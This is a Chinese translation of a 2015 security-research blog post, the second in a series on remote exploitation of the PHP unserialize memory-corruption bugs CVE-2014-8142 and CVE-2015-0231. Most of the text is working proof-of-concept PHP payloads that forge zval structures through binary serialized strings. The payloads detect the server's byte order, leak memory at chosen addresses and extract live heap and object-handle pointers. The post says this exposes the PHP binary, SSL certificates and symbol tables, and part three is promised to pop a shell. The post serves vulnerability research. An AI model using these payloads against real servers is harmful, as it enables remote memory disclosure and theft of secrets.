# PHP中的内存破坏漏洞利用（CVE-2014-8142和CVE-2015-0231）（连载之第二篇）

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-02-28T02:41:00Z
Canonical: https://wepostx.com/topics/723

> 乌云历史资料归档
>
> **原始作者：** Chuck
> **原始编号：** superkieran-wooyundrops:480
> **原始发布时间：** 2015-02-28 10:41
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

作者：Cigital公司的安全顾问Qsl1pknotp（Tim Michaud）
题目：Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2：Remote Exploitation
地址：http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html
上一部分中，我们找到了本地利用CVE-2014-8142和CVE-2015-0231的方法。在第二部分中，我们将进一步探讨漏洞的远程利用，并明确通过我们的方法到底能窃取到什么有用信息。本部分的研究是只针对CVE-2015-0231的，至于CVE-2014-8142的远程利用，其实读者完全可以根据第一部分中的概述，自己做一些修改来完成。

# 0x01 PHP中 “序列化”特性应用

上一部分中我们讲到，Esser给出的代码可以泄露一个攻击者不可控的地址的数据。代码如下：

```text
#!php <?php $data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; $x = unserialize($data); var_dump($x); ?>
```
source: [StefanEsser_Original_LocalMemLeak.php](https://gist.github.com/tmm08a/686d3f78a44c8ea80fd0#file-stefanesser_original_localmemleak-php)
虽然上述代码是有用的，但是它没有达到我们期待的效果！我们想要的是远程泄露任意内存地址的数据，而不是基本上没什么作用的随机地址数据。为了做到这一点，我们需要找到一种方法来完成以下两个目标：
写任意数据（确保PHP不崩溃）
读任意数据（确保PHP不崩溃）
跟生活中的其他事情一样，一次只解决一个问题往往要容易一些。因此，我们首先从完成目标1开始做起。其实我们是可以做到写任何我们所需的数据的，因为发送的是自己的object对象。然而，我们需要的是找到方法来写有用的信息，如下是我们上一回中讲到的最后一个例子：

```text
#!php <?php $fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000f, //length of string 0x00000000, //refcount 0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7 ); //obj from original POC by @ion1c $obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { //this i value is larger than usually required $v[$i]=$fakezval.$i; //repeat to overwrite } //due to the reference being overwritten by our loop above, leak memory echo $obj->ccc; ?>
```
source:[PHPLeak](https://gist.github.com/tmm08a/4c3130001a258e45d39f#file-phpleak)
这里我们把关注重点放在$fakezval变量上。有没有办法可以在序列化对象中远程写该zval？（提示：这是php的一个“特性” :D!） （顺便提醒下，千万不要像我一样的愚蠢而懒惰，一定要仔细地去读所有的代码。在找到这部分如此明显的代码之前，我就浪费了5、6个小时的时间。）
幸好，PHP中字符串有一个“序列化”特性。序列化字符串中的该特性允许我们序列化和反序列化二进制数据。让我们动手操作一个S对象，对序列化原理加深理解，并进一步学会如何利用该特性！

```text
#!php <?php $data='a:1:{i:0;S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";}'; var_dump(serialize($data)); ?>
```
source: [SendBinaryData](https://gist.github.com/tmm08a/9d7cb3bf3ba2a94789c2#file-sendbinarydata)
接下来运行上述代码，我们可以看到一个奇怪结果：

![原文图片](/media/2016/06/043e3520ca5f58f4a563f638540cb1ce)

其实这也没什么奇怪的，我们明显是程序中写错了些什么。为免大家捂脸悲叹，本人直接提示了，这个错误肯定跟我们的S对象有关，你可以一个一个地数下$data的字节数！是的，我也知道PHP的错误提示已经烂到了什么都不提示的地步了……
在正常化的序列化字符串中，例如s:3:”123”，整数3代表字符串包含的字符数。而在上面的代码中，我们用的S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC"中也有一个整数（43），应该同样表示字符串的长度，对吗?
其实并非如此。我们这里想要的不是一个文字字符串，而是可以使PHP解释器按二进制数据来解析的二进制字符串，而这里的字符串也并非43个字节，而是17个字节。那么将43改为17试一下。

![原文图片](/media/2016/06/0883ce30936c6dd22ecb0b5ce1a053e1)

这下好了！那么为什么要用17呢？每一个\xx会被当做一个字符，这样我们的字符串中就有13个字符了，而“AAAA”会被当做正常的字符来解析，因此长度需要再加4。简言之，每一个\xx“三元组”被当做是一个字符。Ok，现在我们可以发送该字符串，但是我们该如何从解释器中获取想要信息呢？
在可以泄露任意地址之前，让我们一起再多学习下服务器本身，这会有助于我们写出更加可靠的利用程序（第三部分中详述）。作为练手，我们学习下如何确定服务器的字节顺序，这将需要使用一个伪装的整型zval结构。 想法还是一样的：

- 创建一个整型数组

- 释放掉刚创建的整型数组

- 创建我们之前例子中的字符串

- 指向我们之前释放掉的整型数组的引用地址
为什么要使用整型zval而不是一个string？我们回想一下zval数据结构，整型看起来将如下所示：

- 我们来设置下整型的值
00 01 00 00 小尾方式下表示0x100 大尾方式下表示0x1000

- 将接下来的8个字节使用0x41填充
41 41 41 41(或AAAA)

- 接下来的8个字节是引用计数
00 01 01 00

- 最后的8个字节是01（代表整型类型），然后我们将剩下的字节填充为垃圾数
01 00 bc cc

把上述的放在一起，就得到了“S”的值！那么如何通过上述的结构确定服务器的字节顺序呢？在服务器的响应中，如果返回0x100（256），就可以确定是小尾方式！如果返回的是65536，那么就是大尾方式！确定字节顺序的完整php代码如下：

```text
#!php <?php $data='O:8:"stdClass":4:{'; $data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'; $data.='s:3:"123";i:0;'; $data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";'; $data.='i:1;r:12;}'; var_dump(serialize(unserialize($data))); ?>
```
source: [determineEndianness](https://gist.github.com/tmm08a/66810644f89f293a7b8b#file-determineendianness)
程序响应如下：

![原文图片](/media/2016/06/391b651667b485902822ca187b5e2b5d)

很好！现在我们已经能够确定服务器的字节顺序了！当然，我们真正想要的仍然是泄露任意数据。让我们接着往下走，既然已经能够泄露出我们所提供的数据了，那么是不是有可能泄露出任意地址的数据呢？

# 0x02 任意地址数据泄露

本篇文章并未就此结束，因而我们的答案当然是肯定的！不过，这次我们需要的不再是整型的zval结构，而是字符串型zval数据结构，结构如下：

- 设置指向字符串数据的指针
00 80 04 08

- 设置我们想要获得的字符串长度（1024）
00 04 00 00

- 设置引用计数为非零
00 01 01 00

- 最后，设置数据类型为string型（06），其余字节设为垃圾数
06 00 0b bc

我们的新脚本如下所示：

```text
#!php <?php $data='O:8:"stdClass":4:{'; $data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'; $data.='s:3:"123";i:0;'; $data.='i:0;S:16:"\00\80\04\08\00\04\00\00\00\01\01\00\06\00\0B\BC";'; $data.='i:1;r:12;}'; var_dump(serialize(unserialize($data))); ?>
```
source: [leakDataAtAddress](https://gist.github.com/tmm08a/5013927665891b0f0de2#file-leakdataataddress)
运行后的结果如下：

![原文图片](/media/2016/06/0855bb7947cc481a1203aedbd4549072)

好极了！我们现在已经可以dump出任意地址的数据了，当然也要知道地址才行，而这是不实际的。那么我们如何远程来提取地址呢？当然我们可以使用上一回中给出的代码来泄露地址，但是泄露出来的地址并未指向重要数据。有没有别的机制可以用来提取地址信息呢？

# 0x03 地址信息远程提取

值得庆幸的是，确实有办法来提取地址信息！看下面的代码：

```text
#!php <?php $data='O:8:"stdClass":6:{'; $data.='s:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'; $data.='s:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'; $data.='s:3:"456";i:1;'; $data.='s:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'; $data.='s:3:"789";i:0;'; $data.='i:1;r:56;}'; $data=serialize(unserialize($data)); var_dump($data); ?>
```
source: [leakLegitimateAddress](https://gist.github.com/tmm08a/5d99e869417f1c52b22d#file-leaklegitimateaddress)
运行后如下所示：

![原文图片](/media/2016/06/caf2a5622098cbe54cd402ddea524e2e)

这是个相当大的数组，需要分解来看。总体思路如下：

- 创建整型数组#1 将会清空内存缓存

- 创建整型数组#2 填入变量表

- 释放掉数组#2 释放掉变量表中的每个节点

- 创建一个混合了S对象的对象数组

- 释放掉对象数组 见下面的解释

- 指向已经释放掉并且又被覆盖了的数组#2中的一个整型值

- 服务器的响应中包将含有价值的数据

释放掉对象数组后，数组中的前四个字节就会被内存缓存重写（因此该内存重新变为可写）。在这样做时，字符串指针（之前是0x41414141）现在就指向了之前被释放的内存对象。得到的地址太多，这里不一一列举了，但不管如何，我们得到了合法的内存地址！ 但是我们需要的是哪个地址呢？我们要找的是显示有 “\x00\x00\x00\x00\x05\x00”的地址。这样的地址是一个对象句柄（数据段中的一个数据结构）地址。现在，我们可以读取整个对象句柄表，并获取PHP代码段中的信息（而这也正是我们感兴趣的地方，因为我们下一回想要做的就是弹出一个shell）
下面是查看PHP返回的16进制数据的命令：

```text
#!bash cphp newLeak.php | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
```
执行命令，我们用grep查找“\x00\x00\x00\x00\x05\x00”，得到如下地址：

![原文图片](/media/2016/06/aeeab62661626bd3a5d24a9e85f227fd)

如果在GDB中加载运行，我们也可以看到这个地址实际上是指向我们对象句柄的一个指针。提醒：运行前别忘记下断点（我是在var_unserializer.c：337中设了一个）。

![原文图片](/media/2016/06/5187202fbf131503e9e5d788255f9570)

我们看到的如下所示：

![原文图片](/media/2016/06/3a5ab2c756144da93418a9c20d0aa258)

在庆祝之前，让我们先确认下这些句柄指向的确实是有用的东西，就看第一个入口点吧：0x0830a640。下面是该地址存储的数据：

![原文图片](/media/2016/06/d20347c50cd8f028eca19245ba7d1da3)

好极了！我们现在已经可以看到任何我们想要的数据了！

# 0x04 可窃取信息

总结一下，通过结合上述的这些方法，我们就可以获取到： 完整的PHP二进制可执行文件本身（包括其数据） SSL Certs（通过mod_ssl） PHP符号表 别的模块的地址（及其数据）

# 0x05 下一步研究

第三部分中，我们将探讨如何弹出一个Shell！该技术也可用于CVE-2015-0273，以及其他的PHP UAF漏洞利用中。
PS：第三部分的释出需要一点时间，因为要完成进一步的利用还需要对PHP做深入的研究（包括阅读一些资料），但是本人保证一定完成，绝不太监，敬请继续关注。

## Replies
